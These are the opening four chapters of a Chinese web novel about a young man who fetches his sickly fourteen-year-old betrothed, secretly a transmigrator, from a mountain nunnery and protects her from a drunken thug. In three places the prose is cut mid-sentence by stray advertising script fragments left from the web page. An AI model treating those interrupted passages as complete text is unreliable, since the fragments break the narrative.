《我家娘子登基啦!》 1. 第 1 章 “表哥,你接到叶家姑娘,真要跟她成亲吗?” 初雪不期而至,细小的雪粒子漫天飘洒,天地间已经昏黄一片,看不太清楚了。路上行人稀少,一辆乌篷驴车沿着山脚下的驿道驶来,车轮碾着薄雪压出两道印痕,很快又落了一层新雪。 赶车的青年男子清隽温润,披着蓑衣,侧身坐在车辕上。他没有搭理表弟的话痨,一抖缰绳,赶着驴车加快了速度。 天色不早,前不着村后不着店的,他们必须在天黑前找到落脚处,不然风雪中难保不会冻死在外头。这一路他们也遇到了许多灾民,路有饿殍是再寻常不过的事情。 这些灾民是被南方的乱兵和天灾逼过来的,饥寒交迫,一个不好,就会变成盗匪流寇。原本按照计划,两天前他们应该就能赶到目的地,可一路不太平,又遇上这场风雪,已经是耽搁了。 周元明没得到回应,从车篷里探出身子说道:“表哥,你自己都不担心吗?那叶家姑娘也不知长的什么样子,是美是丑,性子凶不凶,你从来都没见过她。原本还以为这桩婚约作罢了呢,表哥我跟你说,我们临来的时候,你家老太太还特意问了,她说……” “元明!”谢让打断他的话,淡声道,“外头风大,你哪来这么多话。” 周元明冷得缩着脖子,缩回车里去了,很快又扒着车帘探出个脑袋,不死心地说:“可是,表哥,听说那个叶家姑娘才十四岁……” “这桩婚事是祖父当年定下的。”谢让平淡陈述道,“如今祖父已经过世,只要叶家姑娘不悔婚,我自然是要娶她的。” 周元明正打算放下帘子回去,谢让却又扭头交代道:“还有,你记住了,就算叶姑娘年纪比你小,她既然是我未过门的妻子,你见了面也要称呼一声叶姐姐,不得无礼。” “……知道了。”周元明欲言又止,还是乖乖地答应了。 谢让瞥了周元明一眼,没再说什么。他这个表弟也才不过十五岁,年纪还小,但应当是知道分寸的。 谢让和叶家姑娘是自幼定下的娃娃亲。那时叶姑娘才刚出生,谢让也只有四岁。 叶家远在江南道宣州,谢让的祖父谢信当时任宣州知府,叶家是当地数得着的豪绅望族,双方自然就有了往来。一日谢信与叶家家主品茶说话时,听说叶家刚生了个嫡出的小孙女。恰巧四岁的谢让才开蒙,怀里抱着笔墨,嘴里嘟嘟囔囔背着三字经从祖父的书房外经过,谢信便指着谢让,笑言两家不妨做个亲家吧。 叶家家主自然不会反对,两人当场定下了这桩婚约。 谁知才不过半年,祖父就蒙贵人赏识,升迁到京城做官。此后十年间,祖父仕途顺利,一路青云直上,从一个从四品知府,一直坐上了正二品户部尚书的位子,朝廷重臣。 如此一来,叶家的这桩婚约便有些微妙了。 此一时彼一时,一个小地方的士绅之家,对比尚书府就实在不够看了,加上宣州到京城路途遥远,十年间两家也没有几回来往。 可以说,这婚约还作不作数,全在祖父谢信的一念之间。 直到四年前,谢信卷入朝廷权谋,在夺嫡中站错了队,被抄家问罪,很快就不清不楚地死在了天牢里。 谢信一死,谢家便如同大厦倾覆,一夕之间,偌大的尚书府轰然倒地,已经入仕的子孙下狱问罪,其余家眷流放岭南。 谢让那年十四岁,跟着家人踏上了流放的路。走了两个多月,还没走到一半,老皇帝薨了,新皇登基,大赦天下。 新皇的皇位来得不正,大约还想要个好名声,格外加恩,下旨赦了谢信的罪名,准其家眷返回老家。 谢让他们不用再流放了,然而经过这一番折腾,一门子老弱妇孺已经死的死、病的病,调头再往回走,又走了大半年,才得以回到陵州老家。谢让的母亲没死在流放路上,却病死在回陵州途中,父亲早已刺配边关,十四岁的谢让成了家中大梁。 易地而处,变成谢家的境况尴尬起来。谢家出事后,两家就断了音讯,谢让原本以为,既然双方都默契地没再提起,叶家这桩婚约大概就这么不了了之了吧。 新帝登基这几年,天下就没太平过。西南大旱、淮南水灾,边关各地烽烟四起。几个月前,昭王在江南道起兵造反,宣州是昭王封地,叶家无可避免地牵连其中,先是被叛军盘剥一遍,征钱征粮,等到昭王败退,朝廷军队打过来,叶家却又落了个“附逆”的罪名。 附逆是抄家灭族的大罪。叶家家主自知难逃,也只能先想法子送子孙后辈逃命。于是趁着城破混乱,叶姑娘被送出城,千里迢迢来陵州投奔谢家。 祸不及出嫁女,叶家的意思,自然是希望他们尽快完婚。等谢让收到信时,人已经在半路上了。 谢让只得按信中约定,赶紧动身来接人。 紧赶慢赶,好不容易在天黑前赶到了前面的市镇,投宿一晚。第二日一早雪停了,天色依旧阴沉,地上的积雪一两寸厚,谢让和周元明牵着驴车,步行一个多时辰,抵达了麓山脚下的山北村。村子很小,零零散散只有十几户人家,从这里上山不远,就是净慈庵了。 叶家姑娘如今就在净慈庵中。 叶家姑娘一个闺阁弱女,一路混在流民中逃到这里,没有直接去谢家投奔,却停留在距离陵州还有三四日路程的净慈庵,想来也是有考量的。叶家如今获罪,两家又是这个情形,若是谢家没有如约来接人,那就摆明了不愿意履行这桩婚约,叶姑娘自然另做打算。 所以尽管赶上这场雪,谢让还是决定先上山。他心中思忖,道路积雪,天气也不见放晴,他们恐怕一时无法回程,他先上山去见叶姑娘一面,也好表明态度,再从容安排回去的事情。 山路难行,再有积雪,驴车是没法上去了。谢让便决定让周元明留在村里看守驴车,他在鞋上绑了几道防滑的草绳,仔细向山民问清路径 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,踩着积雪独自上山。 路倒不是太远,进山三四里,翻过一道山梁,就来到了净慈庵。此刻庵堂大门紧闭,四周寂静,苍茫雪野中竟有几分不染尘埃之感。 庵堂门前台阶上的积雪已经打扫干净了,谢让跺去两脚泥雪,稍稍整理了一下衣裳,抬手拍响门环。 他拍了两遍,等了等,里边传来一个女声:“谁呀?” 谢让扬声道:“打搅师太了。弟子是从陵州来寻亲的,有要事求见。” 门栓响动,大门稍稍闪开一条缝,里边的人隔着门缝打量了谢让一番,才把门拉开半边,两个戴着尼僧帽的尼姑站在门槛内,一个五六十岁上,另一个年纪轻些。 “见过师太。”谢让躬身行了个揖礼,说道,“弟子是陵州白石镇谢家的人,来此寻找江南来的一位叶姑娘,此前得知她在庵中借住。” 老尼姑双手合十:“阿弥陀佛,庵中是有一位叶姑娘,施主是她什么人?” “弟子谢让,是叶姑娘定了亲的未婚夫婿,有庚帖为凭。烦请师太帮忙通传一声,弟子是专程来接她的。” 老尼姑又念了一声佛号,说道:“这位叶施主自从来了就一直病着,听说路上遭遇流寇,受了惊吓,又跟家人失散了,整日病得昏昏沉沉的,神志不甚清醒。原本该想个法子给她看病,可赶上这场风雪,庵堂如今已经收留了太多灾民,小庵力量微薄,怕是再过两日庵中就该断粮了,实在无法照顾周全,贫尼正发愁呢。” 谢让听出了老尼姑言下之意,忙说道:“感谢师太照拂了。叶姑娘如今能否起身,若能起身,弟子这就接了她下山看病。” 老尼姑颔首:“这里是庵堂,男子不得入内,施主且在这里稍等片刻。” 谢让便立在门口等。约莫一盏茶工夫,大门重新打开,两个尼姑搀扶着一个羸弱的少女出来。 那少女微低着头,一头乌黑长发稍显凌乱地披散在身上,几乎遮住了大半张脸。 老尼姑将手中拿着的东西递给谢让,说道:“叶施主来的时候并无行李,只有这张庚帖是在她枕边找到的,上边确有谢让的名字。” 谢让赶紧道谢,接过庚帖顾不得看,先塞进怀里,伸手把那女子接过来。两个尼姑把她送出门槛,叮嘱几句,便转身关上了大门。 谢让再次向尼姑道谢告别,扶着女子站稳,这才得以仔细打量自己这位初次见面的未婚妻。这女子身量只到他肩膀,青布衣裙,整个人显得纤瘦单薄,年纪似乎比实际还要小,一副娇柔病弱的样子。 他正在打量,不期然对上了一双漆黑的眸子。少女抬起了头,身高差距使她微微仰着头,视线不闪不避,就那么眸光定定、神情安静地望着他。 谢让稍稍一怔。 这位叶姑娘,与他想象中差的实在有些大。 他脸上带起几分有礼的笑意,温声道:“叶姑娘好。在下谢让,来接叶姑娘归家。” 2. 第 2 章 “在下谢让,来接叶姑娘归家。”谢让温声道。 少女看着他不说话,也没有任何回应,只是默默收回目光,重又低下了头。 她病中虚弱,又惊吓过度,谢让也没有多想,依旧温声说道:“叶姑娘,都怪我在路上耽搁了两日,赶上这场风雪,驴车上不来,只能在山下等着。如今你我倒也不必拘泥,你病体要紧,我背你下山可好?” 见她仍是默不吭声,并没有反对的样子,谢让便扶着她手肘让她站稳,自己背对她蹲下,让她趴在自己背上,背起她下山。 瘦弱的少女没多少分量,背起来很轻,然而俗话说上山容易下山难,积雪路滑,谢让循着来时的脚印,背着她走得就慢了一些。 一路无言,少女一直不声不响的,谢让也不知道能跟她说什么,再说她病恹恹的样子,一路上两人都没说话。 翻过山梁,谢让找了一个背风处把人放下,他清理掉一片积雪,让她坐在地面的落叶枯草上,自己也坐下来歇息。 叶家姑娘微闭着双目,靠着身后的山石休息。她披散的头发很长,此刻坐在地上,发梢便一直垂到地上,乌黑的发丝衬着白雪,颜色格外分明。 她在生病,没有梳头束发也很正常,只是谢让背着她,山风一吹,那发丝就拂到他脸上,痒痒的遮挡视线。 谢让欲言又止,按说两人才初次见面,多有冒昧……可她是病人,事有从权,眼下似乎也顾不得讲究那么多了。 他斟酌片刻,从身上掏出一块宝蓝色的帕子,道了一声:“叶姑娘,唐突了,我帮你把头发束一下可好?” 少女睁开眼睛看了看他,没点头,可也没有反对的表示。 谢让便走到她身后,把她那一头柔软的长发稍稍拢到一起,在脑后用帕子松松地束起来,随手把发梢沾上的雪弄干净。 少女的一张脸这才显露出来,素白的小脸只有巴掌大,眉目秀致,五官玲珑,面容清丽脱俗,竟令人一眼惊艳。 谢让不禁微微一怔,他这位未婚妻,竟生得如此美貌。 只是……他心下微叹,这般世道,他倒是宁愿她长得平庸一些。 山上太冷,谢让不敢多耽搁,一路稍稍歇息两次,背着人尽快下山。在山下找到等候许久的周元明,上了驴车,调头便往一早来时的镇子赶。 天色早已过午,他想早一些赶到镇上投宿,也好来得及给她请个郎中。 谢让刚坐上车辕,周元明抢过鞭子:“我来赶车,表哥你进去吧。” “我来赶吧,外头冷。”谢让道。 “我来我来。”周元明挤挤眼睛,凑近他小声道,“你让我进去,让我就跟叶姑娘两人呆在里头?我可不敢。你快进去陪她吧。对了,汤婆子里我刚灌了热水,刚才在村里讨的,你们先凑合吃点儿干粮。” 谢让看着他挤眉弄眼的样子不禁好笑,也没再坚持,把车上的蓑衣递给周元明,自己掀开车帘钻了进去。 车厢里为了保暖,铺着厚厚的蒲草垫子,挂着厚实的门帘,放下帘子里边光线就十分阴暗了,少女的身形模糊一团,靠坐在车壁上。 车厢里地方狭小,谢让进去后便坐在靠近门口的地方,熟练地摸到一个靠枕放在垫子上。 “叶姑娘,路途遥远,你病体要紧,不妨躺一下舒服。” 没动,没反应。 谢让心中叹气,决定等到前边市镇赶紧去给她找郎中。 不过他总觉得,这女子不像是老尼姑说的“神志不清”,脸上虽然不见多余的表情,始终安静沉默,看起来发呆的样子,可她那双眼睛却并不显得呆滞,眸光清亮,视线微冷,总让他感觉那目光中隐隐带着某种审视和戒备。 大约是他多想了。 谢让不再言语,拿出干粮,打开掏出几张薄薄的面饼,隔着包饼的荷叶贴在汤婆子上。没多会儿面饼就温热软和了,谢让把一张饼卷到一起,递给沉默的少女。 “叶姑娘,早过了午饭时候了,路途仓促,你将就吃一些吧。” 他把饼塞到她手中,倒了半杯热水给她,又把汤婆子塞到她怀里,自己掀开帘子钻了出去。 “表哥,”周元明扭头看他,“你怎么出来了?” “你吃了吗?”谢让问。 周元明说吃过了,谢让不再管他,自己把两张饼卷到一起吃起来。 “表哥,”周元明凑过来,贴在他耳边窃窃私语,“叶家姑娘这是生的什么病啊,要不要紧?” 谢让只说是因为受了惊吓,吩咐周元明赶车快些,到了前边镇子先去找家医馆。 “叶姑娘生的好看,病中都这么好看。”周元明说,“比崔姑娘、孙家姑娘都好看。” “关人家崔姑娘和孙家姑娘什么事情!” 谢让告诫地瞟了周元明一眼,吃完饼子,从怀中掏出两张庚帖,仔细看了一遍。 两张庚帖都已经陈旧了,一张是老尼姑刚才给他的,写着谢让的生辰八字,正是当初定亲时谢家给叶家的男命庚帖。另一张则是女命庚帖,当初女方给谢家的,上边写着“叶琬儿”的名字和生辰八字。 一个时辰后,驴车在医馆门口停下。谢让掀开帘子一看,少女抱着汤婆子,侧身躺在垫子上,姿势有些随性。 谢让一掀帘子,光线涌入,少女翻身坐了起来。 “叶姑娘,我们到医馆了,下来让郎中给你看看吧。” 谢让背着她进去,郎中把了半天脉,捏着胡子说了一番“羸弱之症,气血两虚”云云。 谢让道:“她之前受了极大的惊吓,人有些恍惚不清醒,喜欢发呆,一直也不肯说话。” “脉象倒不像失魂症。”郎中两根手指搭着脉说,“只是这女子身子骨也太弱了,须得慢慢调补。我先给她开两贴安神的药吃吃看吧,你若是怀疑她吓掉了魂,那得去找道士、巫婆收惊,我是郎中,可不会驱邪收魂那一套。” 拿了方子,谢让赶紧叫周元明去抓药,自己牵着驴车先去找客栈。 小镇上统共就一家客栈,谢让捏着荷包,要了两间二等房。 药要客人自己煎,谢让跟小二借了药壶煎好药,琢磨着十几岁的小女儿家大抵都怕喝药,又跟店家要了两颗蜜枣。 他敲了敲门,端着药推门而入,娇弱苍白的少女正坐在靠墙床上,抱着膝盖小小一团,下巴抵着胳膊,莫名有些孤独可怜的样子。 “来,喝药了,喝了药身体就好了。”谢让摸了摸碗壁,已经不太烫了,端起来递给她。 少女乌黑的眼睛看看他,接过药碗,小口尝了一下,脸上表情没有一丝变化,就一口一口地啜饮起来。 喝光了,看着空碗居然抿了抿嘴唇,似乎回味了一下。要不是谢让亲手熬的,他都怀疑这碗药根本不苦,仿佛是甜的。 不过谢让还是给她倒了半盏温水,原 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意是让她漱口,结果她喝了两口都咽了,谢让又把两颗蜜枣递给她。 她捏起一颗放入口中,眼睛似乎一亮,慢悠悠吃完吐掉枣核,又把剩下一颗送进嘴里。 谢让接了碗退回桌边,在椅子上坐下,温声问道:“叶姑娘,晚饭可有什么想吃的东西?你吃药须得忌口,暂时不能用辛辣荤腥之物,我瞧着店里有卖小米红枣粥,你看行不行? 他只是出于礼节随口一问,原本也没指望她能回答,等了等不见她有反应,起身正打算离开,谁知少女绵软稚嫩的声音在身后响起,略带迟疑地问道:“我们……是第一次见面吗?” 谢让讶然一瞬,转过身来,随即化作一个温和的笑容,笑道:“应该算是第一次。家中长辈说我小时候应当见过你的,只是那时候太小,早不记得了。” “我也不记得了。”女子说。 谢让不禁笑道:“你怎么可能记得,在宣州的时候,我四岁,你才刚出生呢。” 她眉眼间似乎纠结了一下,却没再说什么。 谢让很高兴她终于肯开口说话了。家族骤变,一路不知吃了多少苦,千里迢迢,在乱兵和严寒中逃到此地,遭遇流寇、惊吓过度、又与家仆失散,人生地不熟…… 这般经历,谢让是很能感同身受的。 想当初谢家抄家流放时,他也恰好十四岁。可他毕竟是个男子,且还有家人在身边。叶姑娘这样一个闺阁弱女子,想必在家时也是养得如珠如宝,叫她一下子如何承受得了。 也难怪她病倒在净慈庵,病得神志恍惚、不言不语了。 如今她愿意跟他说话,是否病情好转,就能慢慢恢复了。因此谢让自然乐意趁机跟她多交谈几句。 “叶姑娘,叶家的事情我都已经听说了,事已至此,你也不要太过忧心,叶家伯父伯母既然拼了性命才将你送出来,你就更要爱惜自己,保重身体。我虽无能,你既然来了,便是我的责任,今后我一定尽我所能保护你。” 叶姑娘歪歪脑袋,半晌说了句:“谢谢。” 谢让莞尔,想了想说道:“我们倒不必这般客气。你的名字是叫琬儿吧,是否还有小字?” “叶云岫。”她说。 谢让疑惑了一下,忙笑道:“抱歉,我看庚帖上写的是叶琬儿。” “不是那个名字。我现在叫叶云岫。” 她说话慢吞吞的,还带着几分稚气的奶音,顿了顿一字一句解释:“云无心以出岫。” 谢让略一琢磨,便大约明白了。看来“琬儿”应当是闺名了。 原本他还说呢,“琬儿”这名字倒像是个闺中的小名儿。两家定亲时,她才刚出生,大约还没有正经的大名。得亏他问了一句,总不好回到谢家,人人都叫她的闺名,那可就太失礼了。 “我想问问,之前护送你来的家仆叫什么、多大年岁,你们是在何处失散的,要不要我想法子帮你找找?” 叶云岫摇头:“不知道。我不记得了。大约他们把我送到净慈庵,就自己走了吧。” 她既然这么说,也就不必管了。谢让斟酌道:“谢家如今的情形你应当也知道一些,家道败落,家中人口也有些复杂,乡间清贫度日,好在勉强还能够温饱,日后便只能走一步算一步了。如今情势所迫,我先带你回去再说,我们尽快完婚。” “完婚?”叶云岫小脸微变,难以置信地盯了他一眼,欲言又止。 3. 第 3 章 她这个反应,叫谢让不禁反思了一下,自己是不是说了什么很过分的话。 他心中措辞,放缓了语气道:“叶姑娘,你我虽初次见面,可事有特殊,你若有什么话,还请直说就好。” 叶云岫迟疑了一下:“可是……我十四岁,你几岁了?” “我当然知道你尚未及笄。”谢让耐心解释道,“可我刚才也说了,眼下无非是情势所迫,况且这原本也是你们叶家的意思。宣州已被朝廷攻下,叶家覆巢之下,我们早一天成婚,你就早一天是谢家妇,祸不及出嫁女,即便朝廷追查下来,也能多个转圜的余地。再说你如今既然来了,我们若不成婚,你在谢家名不正言不顺,对你名声也有碍,岂不都是我的过错?” “叶家……到底怎么了,你能不能跟我说说?” “具体情形,如今我也不太清楚,宣州现下应当还在朝廷手中,至于叶家……一时还没有确切消息。”谢让叹道。 整个江南道如今乱作一团,朝廷和昭王叛军你来我往,战事胶着,前一日刚听说叛军败逃黔中,隔一日又听说昭王攻下了临安府。朝廷没有正式的诏令下来,各种消息无非都是道听途说。 人命如蝼蚁。至于叶家,这么大的战乱之中,一个小小的宣州叶家,去哪里打听确切消息。 谢让斟酌着安慰道:“不过你也不要太过担心,朝廷如今忙于前方战事,一时半会也顾不上许多,乱也不全是坏事,叶家长辈既然能趁乱送你出来,想必也不会坐以待毙,他们吉人天相,会平安的。” 叶云岫纤细的眉梢微微拧起,心中叹气。 她想问的不是这个啊。 她想问的,是这个叶家,究竟发生了什么事情。 她没有说谎,她真的不记得了,前因后果完全不清楚。 她没有原主的记忆。 叶云岫穿过来的时候,人就在净慈庵中了。原主一直病得昏昏沉沉,换成她来了以后,见到的除了剃头的尼姑,就是头发很长的妇人,反正全都是女的。 起先她还以为,自己这是死里逃生,来到了什么奇妙的世界,这个世界就只有女人呢。 后来她废了好一番纠结,才相信自己这是穿越了。原因无他,原主身体太弱了,头发也太长了,还比她原先的个子矮。 所以尽管原主跟她长得至少有七八分像,叶云岫也只能不情不愿地确定,她这是穿到了原主的身体里。 至于原主去了哪里,她可就不知道了。只知道原主独自一人流落到此,病中全靠尼姑和同屋的其他灾民帮忙照看。 巧合的是原主也姓叶,周围人称她“叶姑娘”,她身边带着那张庚帖,上面的字笔画繁复,叶云岫几乎都不怎么认识,许多字连估带猜也只能认得半边。 叶云岫出生在末世降临的前一年。那时候人类还是地球的主宰,天空还能看见白云,她的父母还能想出“云无心以出岫”这样的名字。 所以叶云岫喜欢这个美好的异世界。树是绿的,雪是白的,空气是清新的,一点都不难闻,就连谢让端来的那碗药,都有着丰富迷人的滋味儿,而不像化学元素配制出来的营养液,滋味寡淡,不饥不饱,仅仅是为了维持生存。 然后这个叫谢让的人就来了。谢让是她在这个世界见过的第一个男子,拿着一张庚帖,自称她的未婚夫婿。 叶云岫发愁,她没有原主的记忆,哪里认得什么未婚夫。索性原主病得神志恍惚,她可以接着装糊涂。 结果她才发现,这个未婚夫跟原主压根不熟。 何止不熟,两人竟然从来没见过面。更让她惊讶的是,这人一见面就要跟她结婚,并且好像还有十分充分的理由。 初来乍到,叶云岫不太明白他口中的“情势所迫”,她只能从他的话中,推断出叶家应当发生了很严重的事情。 叶云岫心中悠悠叹气。 谢让望着面前神情落寞的少女,温声道:“如今叶家毫无消息,你一个人在此举目无亲,也没有别处可去,不如就先听我的吧,我们先回谢家成婚。至于其他的,你尚未及笄,我也不会对你怎样,眼下无非是权宜之计,你不必担心。” 叶云岫想了一下,点头。 她对这世界全然陌生,还是个身娇体弱的病秧子,索性就先听他的,先离开这里再说。 他们在客栈住了一宿,第二日早上,谢让去给叶云岫送药的时候,她已经洗漱完毕,头发看样子也梳理过了的,黑缎子一般披散而下,额头脸颊遮去了大半。 “这个还给你,谢谢。”她拿起一条宝蓝色帕子递给他,昨天他给她束发的那条。 谢让看着她那一头披散的长发,原本想问用不用帮她把头发梳起来,转念又作罢了。 算了吧,这样也好,乱世当头,她那张脸实在太惹眼了,出门在外遮一下也好。 谢让接过帕子放回怀里,让她把药喝了,又给她端来一碗粟米粥和两个热腾腾的馒头,一小碟酱菜。原本担心她病中没食欲,昨晚的一碗小米红枣粥她却是吃光了,于是他今早便多拿了一些。 “叶姑娘身体怎样了,用不用修养几日再走?” 叶云岫摇摇头。 谢让自动领悟了她的意思,说道:“那你先用早饭,我去准备一下,等会儿我们就动身。” 等他一走,叶云岫赶紧拿起馒头咬了一口,满足地微微眯起了眼睛。 好香啊,满口粮食的香味,这个世界的食物真是太让人喜欢了。 所以谢让来收碗盘的时候,心里还惊讶了一下,一碗粥,两个馒头,连酱菜都吃干净了。这位叶家姑娘瘦瘦弱弱的,食量可不小。看来吃这个药见效,饭吃得下,病就该好得快了。 谢让把托盘端出去,又进来拿了昨晚给她的汤婆子,交代道:“你就在房里等着,我把行李送到车上,再来接你。” 谢让拿着汤婆子去厨房灌满热水,送到驴车上,一回头看到叶云岫自己走出来了,纤细柔弱似乎风一吹就能吹倒的样子,谢让赶紧过去扶她。 安全起见,这一趟他们都走的驿道,来的时候走过一遍了,路径熟悉,因此回程还算顺利。只是车上带着个病人,加之积雪融化,道路开始变得泥泞,走得就慢了些。 第三天晌午,他们到达了榴花驿。榴花驿地处两州三县交界,过了榴花驿,就进入陵州地界了。 驿站是朝廷官家的,只招待官员和驿卒公差,他们这样的平头百姓当然不能进去,驿站旁边不远,自有挂着酒旗的路边野店,那才是平民百姓的去处。 谢让把驴车停在店门口,交代周元明在外等着,自己走进店里。今日店里生意不错,一桌人正在闹哄哄地喝酒划拳,还有其他的几个散客。 “小二哥,烧一碗葱花鸡蛋汤,灌两壶热水。” 谢让数了几个铜板给小二,转身出去,低声跟周元明道:“就在外边吃吧,我看里头人多杂乱,我们买了饭就走。” 周元明点头。谢让拿了水壶和汤婆子重又进去。他灌完热水,汤也烧好了,谢让端着汤走回驴车,一手掀开车帘,叫叶云岫拿他们自己的碗来装。 叶云岫拿了一个白瓷大碗出来,谢让小心地把汤倒进去。 这时,一个醉醺醺的壮汉从店里摇摇晃晃出来,笑道:“你把美人儿藏在车里?怎么不敢让我看看……”一边说,一边伸手就往谢让肩上抓去。 谢让迅速放下车帘,闪身躲开,同时手中端起的汤碗往前一送,口中道:“这位兄台,当心烫。” 壮汉缩回手,瞪眼骂道:“娘的,差点烫着老子,你找死啊?” “这不是没烫到么,您喝高了吧,小心着些。” 谢让转身把空碗递给周元明,使了个眼色,周元明会意,一手把鞭子递给他,接过碗跑进店里去了。 谢让接过鞭子,坐上车辕,全当那壮汉不存在似的。 壮汉还在骂骂咧咧:“……娘的,老子跟你说话呢,装什么哑巴,不就是个小娘们吗,老子今天还就非看不可了!” 醉汉蛮横地撞过来,一伸手就要去扯帘子,谢让手中的鞭子抬起一挡,逼得醉汉往后闪避。 谢让伸手抓住那壮汉手腕,口中道:“兄台见谅,车里是我的家人,病得很重,不能受风。” “嗬?”壮汉一用力挥开谢让,蹬着他骂道,“怎的,你还敢跟老子动手?就你这弱鸡小白脸的吊样儿!” 这时周元明从店里跑回来,一跃跳上另一侧车辕, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢让不再理那壮汉,一抖缰绳便打算走人。 “站住!”壮汉喷着酒气拦在车前,一手叉腰,一手指着谢让骂道,“娘的,老子今天还就跟你犟上了,除非你跪下给老子磕三个响头,不然就想别走了!” 谢让眉头皱起,冷冷打量着那壮汉。若是平常,他和周元明两个人倒也不怵他,只是如今车上还有病人,受不得惊吓,并且他刚才进店时,约莫看到此人是那桌人一起的。 摆明了的眼前亏,看来只能想法子走为上策了。 谢让拉紧缰绳,正衡量着怎么冲过去,这时店里摇摇晃晃出来一个道士,脚步却不慢,状似无意地从他们旁边经过。 擦身而过时,道士忽然“咦”了一声,一把拉住壮汉端详道:“啧啧,这位好汉,我看你眉间黑气如蛇,只怕是最近要有血光之灾呀!” “臭道士,你敢咒我?”壮汉一把揪住道士骂道。 “不敢不敢,你若不信,那就算了。”道士全不在意地摊手笑道,“信不信反正随你,贫道是终南山正经修行的道士,又不骗你钱财,你不信就罢了。” 他两人纠缠说话,谢让趁机一抖缰绳,赶着驴车飞快离开。 跑出一段路,刚才那个道士骑着一头黑驴赶上了他们。 谢让一见,连忙放下鞭子,郑重拱手道谢:“刚才的事,多谢道长仗义解围了。” “嗐,也不全是为你,我没骗他,我看他面相,他真有血光之灾。” 道士四五十岁年纪,穿一件松松垮垮的青色道袍,头上混元髻也有些毛糙,横插着一根竹筷,整个人坐在毛驴上塌肩偻背,看起来不太庄重的样子。 他骑着黑驴跟驴车并行,盯着谢让看了一会儿,笑道:“这位公子好相貌啊,贫道看你天庭饱满、鼻直口方,双眉聚散有威,此乃大富大贵的好面相。” 谢让不禁笑了起来,噙笑说道:“谢道长美言了,您看我这布衣褴褛,哪里来的富贵。斗升小民,不敢求什么富贵,能求个平安度日就知足了。” “萍水相逢,你若不信,那贫道也没法子,我又不跟你要钱。” 道士两腿一踢,加快了速度,单人骑着那么一头矫健的大黑驴,脚程自然比他们的驴车快,很快就超过他们跑远了。 周元明瞧着一人一驴的背影,小声跟谢让说道:“表哥,可巧遇见这个道士,你怎么不趁机请他给叶姑娘收收惊啊?” “你也听他说了,萍水相逢,哪有半道上就请人收惊招魂的。”谢让笑笑。 尽管道士刚才帮了他们,可萍水相逢一无所知,况且这道士看起来实在有点不着调的样子 落日时分,他们进了柳河县城,先找客栈投宿。叶云岫的药已经吃完了,进到房间安顿下来,谢让便拿了之前的方子上街抓药。 等他抓药回来,恰好看到一行七八个人牵着马停在客栈门口,瞧着似乎有些眼熟,仔细一看,其中一人赫然是晌午的那个醉汉。 那人此时也看到了他,斜着眼睛挑眉瞥过来,忽然意味不明地笑了一下。 谢让顿时心中懊恼,冤家路窄,早知道就不该住这家客栈。 可巴掌大的小县城,统共能有几家客栈,一条驿道通南北,只要走的同一个方向,真是很难不遇上。 他目不斜视,拎着药从容经过,心中则暗暗安慰自己,幸亏这是柳河县城,不比荒郊野店,这些人应当不敢在城中公然闹事。 尽管如此,谢让还是不得不多添几分小心。晚饭后他跟周元明仔细叮嘱一番,端着药敲开了叶云岫的房间。 谢让进去后放下药碗,半带调侃地笑道:“你也不问问是谁,就敢开门?” “我知道是你。”叶云岫道。 她说完端起药碗,小口小口地啜饮。 谢让看着她喝完,斟酌道:“叶姑娘,有个事情,说了你先不要害怕,我方才在楼下,遇见了晌午拦车滋事的醉汉那帮人,他们也凑巧住进了这家客栈。” “?”叶云岫安静的眼眸带着询问。 “你先别怕,应当只是凑巧。”谢让安慰她,“我是担心,此人看着就不像善类,万他一起了歹意,所以今晚我想在你房里守着,你且安心休息,你看行不行?” 4. 第 4 章 说这话时,谢让心中其实是有些顾虑的。他们毕竟还没成婚,见面也才第三天,江南一带素来最重规矩礼教,孤男寡女,若她有顾虑,他也不知该怎么保证。 然而叶云岫只是看看他,点了点头,便十分听话地从椅子上站起身,回到床上,盖好被子,睡觉了。 这下倒把谢让给整不会了。 他迟疑片刻,起身走到床前,对上少女一双黑幽幽的眼眸。 谢让不禁莫名局促了一下,赶紧把帐子给放了下来。 谢让仔细关好门窗,把周元明不知从哪里顺来的木棍顶在门后,便吹灭蜡烛,在桌边椅子上抱臂靠坐,打算就这么坐上一夜了。 他睡觉素来警觉,趁着夜还未深,闭眼小睡了会儿,等三更的梆子响过以后,四周寂静,并无任何异常,才稍稍安下心来。 宁愿是他多疑了。 然而四更过后,窗外忽然传来某种悉悉索索的声响,声音不大,寂静的冬夜却不难察觉,谢让一个激灵,侧耳仔细去听,片刻之后,窗子响起了几声“咯咯”的细微声响,清晰可闻,似乎是有人用利刃拨动木头窗格。 谢让屏息凝气挪动脚步,凭着感觉后退,伸手抓到了顶门的棍子。 支摘窗很快被掀起,隐隐天光透露进来,谢让心跳如鼓,两手握紧木棍,等到窗外探进来一个黑乎乎的脑袋,谢让攥紧木棍猛冲过去,用力对着那颗脑袋捅了过去。 接连两声惨叫,咚的一声,似乎有什么东西重重摔了下去。 谢让冲到窗口,一手支开窗子向下看去,阴沉的无月夜,暗淡天光下什么都看不清楚,但是很快楼下就有灯火亮起。 这贼人也实在是没种,摔在地上杀猪一样的叫唤,惨叫声惊动了人,有人拎着灯笼吆喝着跑了过来。 谢让定定神,短短几个呼吸之间心念转动,悄然把窗子放下,只留一条缝隙,留神听着外头的动静。楼下一阵嘈杂,有哭嚎争吵谩骂的声音,又有人嚷嚷着“报官报官”。 谢让赌的就是这些人不敢报官。 这几人一看就不像善类,恐怕不是做什么正当营生,再说若要报官,他就得先说清楚为何会半夜三更从别人房间的窗户跌下去。这里是二楼,木质结构的小楼本身也不高,从二楼跌下去,摔也摔不死,顶多摔个腿断胳膊折,无非是他自己的报应。 而对于谢让来说,他自然也不希望报官,叶云岫身份有异,刚从宣州逃出来,必然不想跟官府打交道。 谢让打定了主意,索性也不出声,只等着下边吵闹起来,客栈里陆续有房间亮灯了,才擦亮火折子把灯点上 “叶姑娘,没吓着你吧?” 谢让低声问了一句,床帐掀开,少女拥着棉被坐在床上,娇丽的小脸在灯光下显得越发苍白,双眉紧蹙,神情十分郁悒的样子。 谢让心中莫名一软,她定是吓坏了。 